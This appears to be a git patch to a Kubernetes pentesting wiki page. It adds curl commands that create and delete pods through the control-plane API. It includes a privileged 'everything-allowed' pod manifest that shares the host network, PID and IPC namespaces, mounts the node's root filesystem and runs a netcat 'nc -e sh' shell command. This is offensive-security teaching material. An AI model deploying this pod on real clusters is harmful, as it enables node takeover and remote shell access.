From 3000c3b4fea9e944f7f45b56c0000f445ee74499 Mon Sep 17 00:00:00 2001 From: Vladyslav <68342736+VL4DYSL4V@users.noreply.github.com> Date: Sat, 11 Jan 2025 16:42:38 +0200 Subject: [PATCH] Added scripts for creating & deleting K8s pods with curl --- .../kubernetes-enumeration.md | 75 +++++++++++++++++++ 1 file changed, 75 insertions(+) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index af9bc743f..c3dbd868e 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -535,6 +535,10 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} +## Interacting with the cluster without using kubectl + +Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**. + ### Escaping from the pod If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes. @@ -603,6 +607,77 @@ chroot /root /bin/bash Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +### Creating a privileged pod + +The corresponding yaml file is as follows: + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: everything-allowed-exec-pod + labels: + app: pentest +spec: + hostNetwork: true + hostPID: true + hostIPC: true + containers: + - name: everything-allowed-pod + image: alpine + securityContext: + privileged: true + volumeMounts: + - mountPath: /host + name: noderoot + command: [ "/bin/sh", "-c", "--" ] + args: [ "nc -e sh" ] + #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name + volumes: + - name: noderoot + hostPath: + path: / +``` + +Create the pod with curl: + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" + +curl --path-as-is -i -s -k -X $'POST' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Content-Length: 478' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ + "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` + +### Delete a pod + +Delete a pod with curl: + +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +POD_NAME="everything-allowed-exec-pod" + +curl --path-as-is -i -s -k -X $'DELETE' \ + -H "Host: $CONTROL_PLANE_HOST" \ + -H "Authorization: Bearer $TOKEN" \ + -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ + -H $'Accept: application/json' \ + -H $'Content-Type: application/json' \ + -H $'Content-Length: 35' \ + -H $'Accept-Encoding: gzip, deflate, br' \ + --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ + "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" +``` + ## References {{#ref}}